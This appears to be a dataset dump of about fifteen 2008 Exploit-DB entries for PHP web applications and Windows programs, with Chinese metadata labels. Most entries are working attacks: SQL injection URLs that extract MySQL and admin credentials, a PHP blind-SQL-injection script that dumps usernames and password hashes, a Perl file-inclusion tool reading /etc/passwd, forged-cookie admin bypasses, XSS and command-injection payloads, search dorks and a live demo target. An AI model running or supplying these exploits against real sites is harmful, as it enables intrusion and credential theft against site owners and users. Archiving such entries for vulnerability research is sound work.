QLWD/code_shield huggingface dataset:
标题: Ultimate WebBoard 3.00 - 'Category' SQL Injection EDB-ID: 6576 CVE: 2008-4666 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: ================================================================================
  Ultimate Webboard (webboard.php Category) Remote SQL Injection Vulnerability
================================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 26 September 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : Ultimate Webboard 
VERSION     : 3.00
DOWNLOAD    : http://php.deeserver.net/download/get/79/webboard3.0.0.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
 Vulnerable File (webboard.php)
-----------------------------------

$sql="select * from board_data where Category='$Category' order by No DESC";

---------
 Exploit
---------

[+] http://[Target]/[webboard]/webboard.php?Category=[Category'name][SQL Injection]


------
 POC
------

[+] http://[Target]/[webboard]/webboard.php?Category=general'/**/UNION/**/SELECT/**/1,concat(user,0x3a3a,password),3,4,5,6,7,8/**/FROM/**/mysql.user/**/where/**/user='root


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6576
标题: Esqlanelapse Software Project 2.6.2 - Insecure Cookie Handling EDB-ID: 6583 CVE: 2008-7019 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: [~] Esqlanelapse Software Project
[~]
[~] version: 2.6.1  & 2.6.2
[~]
[~] Insecure Cookie Handling Vulnerability
[~]
[~] donwload: http://sourceforge.net/project/showfiles.php?group_id=118575&package_id=129141&release_id=519061
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 26.09.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] contact: zorlu@w.cn
[~] 
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

javascript:document.cookie = "enombre=nombre; path=/"; document.cookie = "euri=visitor_uri; path=/";

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs
[~]
[~] yildirimordulari.org  &  r00tsecurity.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6583
标题: Atomic Photo Album 1.1.0pre4 - Cross-Site Scripting / SQL Injection EDB-ID: 6572 CVE: 2008-4336 2008-4335 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: [~]-----------------------------------------------------------------------
[~] Atomic Photo Album 1.1.0pre4 [album.php] - Multiple Remote Vulnerabilities
[~]
[~] http://atomicpa.sourceforge.net
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 25.09.2008
[~]
[~]
[~] d3v1l@spoofer.com
[~]
[~] -----------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest| Gibon| Pig       AND      milw0rm staff
[~]-------------------------------------------------------------
[~] Exploit :- SQL Injection
[~]
[~] http://site.com/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/*
[~]
[~] Demo :-
[~]
[~] http://www.site.com/new/fotos/album.php?apa_album_ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/*
[~]
[~]---------------------------------------------------------------------------------------------------------------------------
[~]
[~] Exploit :- XSS (cross site scripting)
[~]
[~] http://site.com/album.php?apa_album_ID=>'><script>alert(1337)</script>.
[~]
[~] Demo :-
[~]
[~] http://www.site.com/new/fotos/album.php?apa_album_ID=>'><script>alert(1337)</script>.
[~]
[~]----------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6572
标题: PromoteWeb MySQL - 'id' SQL Injection EDB-ID: 6577 CVE: 2008-5069 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: ===================================================================
  PromoteWeb MySQL (go.php id) Remote SQL Injection Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 26 September 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : PromoteWeb MySQL
DOWNLOAD    : http://php.deeserver.net/download/get/23/promote.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
 Vulnerable File (go.php)
-----------------------------------

$sql = "select * from promote where No='$id'";

---------
 Exploit
---------

[+] http://[Target]/[promote]/go.php?id=[SQL Injection]


------
 POC
------

[+] http://[Target]/[promote]/go.php?id=1'/**/UNION/**/SELECT/**/1,2,version(),4,5,6,7,8/**/FROM/**/promote/**/WHERE/**/No='1


Note!! Result of SQL Injection will appear new window with http://[result]/ 
Example: http://5.0.51a/


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6577
标题: Atomic Photo Album 1.1.0pre4 - Blind SQL Injection EDB-ID: 6574 CVE: 2008-4335 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-26 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#      Atomic Photo Album 1.1.0pre4 - Blind SQL Injection Exploit   
#                                                           
#      Vulnerability discovered by: Stack     
#      Exploit coded by:            Stack
#      Greetz to:                   All My Freind
#
###############################################################
#                                                           
#      Dork:        intext:"Powered by Atomic Photo Album 1.1.0pre4"
#      Admin Panel: [Target]/apa/
#      Usage:       php '.$argv[0].' [Target] [Userid]
#      Example for http://www.site.com/apa/lalbum.php?apa_album_ID=[Real id] 2
#      => php '.$argv[0].' http://www.site.com/apa/album.php?apa_album_ID=2 2
#  Live Demo :
#       http://www.brzi.info/foto/album.php?apa_album_ID=2 1
#                                                           
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "\nNickname: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+nickname+from+apa_users+where+id=".$userid."+limit+0,1),".$i.",1))!=0"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+nickname+from+apa_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+nickname+from+apa_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 32; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+apa_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+apa_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} else {
echo "\nExploiting failed: By Stack\n";
}
?>

# milw0rm.com [2008-09-26] URL: https://www.exploit-db.com/exploits/6574
标题: Libra PHP File Manager 1.18/2.0 - Local File Inclusion EDB-ID: 6567 CVE: 2008-4319 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: #!/usr/bin/perl

# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Libra PHP File Manager <= 1.18 / Local File Inclusion Vulnerability
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# Program: Libra PHP File Manager
# Version: <= 1.18 , 2.0
# File affected: fileadmin.php
# Download: http://file.sourceforge.net
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
# Greetings to Ka0x for help me with the perl code  :)
#
# You can scale directories and read any file that you have permissions

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my ($host, $path, $action) = @ARGV ;

unless($ARGV[2]) {
 print "Usage: perl $0 <host> <path> <action>\n";
 print "\tex: perl $0 http://site.com /etc/ list\n";
 print "\tex: perl $0 http://site.com /etc/passwd edit\n";
 print "Actions:\n";
 print "   list:\n";
 print "   edit:\n\n";
 exit 1;
}

$ua->agent("$0/0.1 " . $ua->agent);
$host = "http://".$host if ($host !~ /^http:/);
$path = $path."/" if ($action eq "list" && $path !~ /\/$/);
$op = "home" if ($action == "list");

if ($action eq "edit") {
 $aux = $path;
 $directory = "";

 do {
  $x = index($aux, "/");
  $y = length($aux) - $x;
  $directory .= substr($aux, 0, $x+1);
  $aux = substr($aux, $x+1, $y);
 } until ($x == -1);

 $path = $directory;
 $file = $aux;
 $op = "edit";
}

$url = $host."/fileadmin.php?user=root&isadmin=yes&op=".$op."&folder=".$path;
$url .= "&fename=".$file if ($action eq "edit");

$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');

$res = $ua->request($req);

if ($res->is_success) { 
 $result = $res->content;

 if ($action eq "edit") {
  print "Viewing $path$file:\n";
  print $1,"\n" if($result =~ /name="ncontent">(.*)<\/textarea>/s);
 }
 else {
  print "Files in $path:\n";
  $x = index($result, "Files:") + 6;
  $result = substr($result, $x, length($result)-$x);
  $result =~ s/<[^>]*>//g;
  $result =~ s/Filename//g;
  $result =~ s/Size//g;
  $result =~ s/Edit//g;
  $result =~ s/Rename//g;
  $result =~ s/Delete//g;
  $result =~ s/Move//g;
  $result =~ s/View//g;
  $result =~ s/Open//g;
  $result =~ s/\d*//g;
  $result =~ s/\s+/\n/g;
  $x = index($result, "Copyright");
  $result = substr($result, 0, $x);
  print $result;
 }
} 
else { print "Error: " . $res->status_line . "\n";}

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6567
标题: Microsoft Windows Wordpad - '.doc' File Local Denial of Service (PoC) EDB-ID: 6560 CVE: 2009-0259 2008-4841 类型: DOS 平台: WINDOWS 发布日期: 2008-09-25 漏洞利用脚本: MS Windows Wordpad .doc File Local Denial of Service PoC
author: securfrog

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6560.rar (2008-crash.doc.rar)

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6560
标题: PHPOCS 0.1-beta3 - 'act' Local File Inclusion EDB-ID: 6563 CVE: 2008-4331 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################################
 #  [ phpOCS <= 0.1-beta3 ]   Local File Inclusion Vulnerability   #
 ###################################################################
 #
 # Script: "phpOCS is a fully featured Online Community System. It has fully customisable message boards, calendars, galleries and articles."
 #
 # Script site: http://phpocs.sourceforge.net/
 # Download: http://sourceforge.net/projects/phpocs/
 #
 # Vuln: 
 # http://site.com/[phpocs-0.1-beta3]/index.php?act=../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./phpocs-0.1-beta3/index.php (lines: 7 and 9)
 #
 # ...
 # 7:     include("library/include.inc.php");    // (1);
 # 9:     makepage();     // (2);
 # ...        
 #
 #
 # Bug: ./phpocs-0.1-beta3/library/pagefunctions.inc.php (lines: 3-104)
 #
 # ...
 # 3:     function makepage() {
 # ...    // (lines: 72-79)
 #    if (isset($_GET['act']))
 #  {
 #  include("library/{$_GET['act']}.php");  // (3) LFI
 #  }
 # else
 #  {
 #  include("library/home.php");
 #  }
 # ...
 # 104:   }
 # ...        
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6563
标题: PHP infoBoard 7 - Plus Insecure Cookie Handling EDB-ID: 6568 CVE: 2008-4334 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: ###############################################################################################
[+] PHP infoBoard V.7 Plus Insecure Cookie Handling Vulnerability
[+] Discovered By Stack               
[+] Greetz : All my freind              
################################################################################################
---
exploit:

javascript:document.cookie = "infouser=1; path=/"; document.cookie = "infopass=1; path=/";

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6568
标题: Observer 0.3.2.1 - Multiple Remote Command Execution Vulnerabilities EDB-ID: 6559 CVE: 2008-4318 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #########################################################
 #  [ observer <= 0.3.2.1 ]   Remote Command Execution   #
 #########################################################
 #
 # Script: "Observer is an autodiscovering PHP/MySQL/SNMP/CDP based network management system focused primarily on Cisco and Linux/BSD networks."
 #
 # Script site: http://www.project-observer.org/
 # Download: http://freshmeat.net/projects/observer/
 #
 # Vuln: 
 # (1) http://site.com/[observer-0.3.2.1]/whois.php?query=|uname -a
 # (2) http://site.com/[observer-0.3.2.1]/netcmd.php?cmd=nmap&query=|uname -a    
 #
 #
 # Bug(1): ./observer-0.3.2.1/html/whois.php
 #
 # ...
 #  $output = `/usr/bin/whois $_GET[query] | grep -v \%`;
 # $output = trim($output);
 # echo("<pre>$output</pre>");
 # ...   
 #
 #
 # Bug(2): ./observer-0.3.2.1/html/netcmd.php
 #
 # ...
 #  switch ($_GET[cmd]) {
 #   case 'whois':
 #     $output = `/usr/bin/whois $_GET[query] | grep -v \%`;
 #     break;
 #   case 'ping':
 #     $output = `/bin/ping $_GET[query]`;
 #     break;
 #   case 'tracert':
 #     $output = `/usr/sbin/traceroute $_GET[query]`;
 #     break;
 #   case 'nmap':
 #     $output = `/usr/bin/nmap $_GET[query]`;
 #     break;
 #  }
 #  $output = trim($output);
 #  echo("<pre>$output</pre>");
 # ...              
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6559
标题: AJ Auction Pro Platinum - 'seller_id' SQL Injection EDB-ID: 6561 CVE: 2008-6004 2008-6003 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

 Xss /Remote SQL injection

Script : Aj auction platinum2 , last version 
Site    : http://www.ajauctionpro.com
Dork : Powered By AJ Auction
Demo : http://www.ajauctionpro.com/ajauction_platinum2/
[ SQL injection ]
=========================================================================
EXP file: Script path /sellers_othersitem.php?seller_id=

SQL : -1%20union%20select%201,2,3,4,concat(user_name,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20admin--

[Xss]
=========================================================================
EXP : search.php?min_cur=&product="''<?>>""''<script>alert(document.cookie)</script>
=========================================================================
ShoutZ   :: Allah ,InJecTor,AlQaTaRi,all InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers
 

thanx str0ke/*

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6561
标题: K-Lite Mega Codec Pack 3.5.7.0 - Local Windows Explorer Denial of Service (PoC) EDB-ID: 6565 CVE: 2008-5072 类型: DOS 平台: WINDOWS 发布日期: 2008-09-25 漏洞利用脚本: K-Lite Mega Codec Pack based Local Windows Explorer DOS PoC.
Version:3.5.7.0

"vsfilter.dll"(Version 1.0.1.4) that comes bundled with the above Codec Pack
crashes when we try to use,select or even highlight the
attached "Test7.flv" file in Windows Explorer,causing Explorer
to Crash.



Greetz fly out to:
1]LiquidWorm : For being so nice.....n guiding me.. :)
2]str0ke : For goin thru all my silly e-mails.
3]Amforked() : My mentor.
------------------------------------------------------------------
By:       Aodrulez, 
    www.OrchidSeven.com, 
   aodrulez.blogspot.com.

Email: f3arm3d3ar@gmail.com
------------------------------------------------------------------

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6565.rar (2008-test7.rar)

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6565
标题: PHP infoboard 7 plus - Multiple Vulnerabilities EDB-ID: 6566 CVE: 2008-4333 2008-4332 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-25 漏洞利用脚本: ==========================================================
  PHP infoBoard V.7 Plus Multiple Remote Vulnerabilities
==========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 25 September 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : PHP infoBoard V.7 Plus
VERSION     : v.7
VENDOR      : http://cannot.info/phpinfoboard
DOWNLOAD    : http://cannot.info/lib/dw/plus7.zip
#####################################################

-- Remote SQL Injection ---

[+]http://[Target]/[path]/showtopic.php?idcat=-1'/**/UNION/**/SELECT/**/1,2,3,4,concat(info_name,0x3a,0x3a,0x3a,info_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/FROM/**/[prefix]info_admin--&showpage=10
[+]http://[Target]/[path]/showtopic.php?idcat=-1'/**/UNION/**/SELECT/**/1,2,3,4,concat(info_name,0x3a,0x3a,0x3a,info_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/FROM/**/[prefix]info_user--&showpage=10

Note: [prefix] is a prefix of table names that an administrator assigns it when he sets up PHP infoBoard.


-- Strore XSS --

At page http://[Target]/[path]/?action=newtopic&idcat=[number]

This page is used to add new topics and there is a feild "ÂªÃ—Ã¨Ã" which is prepared for inserting poster's name.
We can inject javascript into this feild as result in "Stored XSS". 

Example code of vulnerable input feild:
ÂªÃ—Ã¨Ã</td><td width='125' height='25' align='left'><input  name='isname' type='text'  size='25' value='' />

Note: 
- [number] is a idcat  that an administrator assigns it (default is 1).
- We can inject javascript into the feild when we do not log in to be a user of a PHP infoBoard.


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-25] URL: https://www.exploit-db.com/exploits/6566
标题: ADN Forum 1.0b - Insecure Cookie Handling EDB-ID: 6557 CVE: 2008-6001 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-24 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
adnforum <= 1.0b / Insecure Cookie Handling Vulnerability 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: adnforum
$ Version: <= 1.0b
$ File affected: index.php
$ Download: http://sourceforge.net/projects/adnforum/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


Cookie is base64 based and the ascii format used is:
user:23ed4e45887ad4311ff654bd4aab6540:user:0
user:md5 pass:user:0

Programmer forgot to check the pass and only use the nick to autenticate
the user.

You can create a fake cookie likes this:
sysop:000000000000000000000000000000:sysop:0

In base64: c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA

Exploit:
javascript:document.cookie = "fpusuario=c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA"

# milw0rm.com [2008-09-24] URL: https://www.exploit-db.com/exploits/6557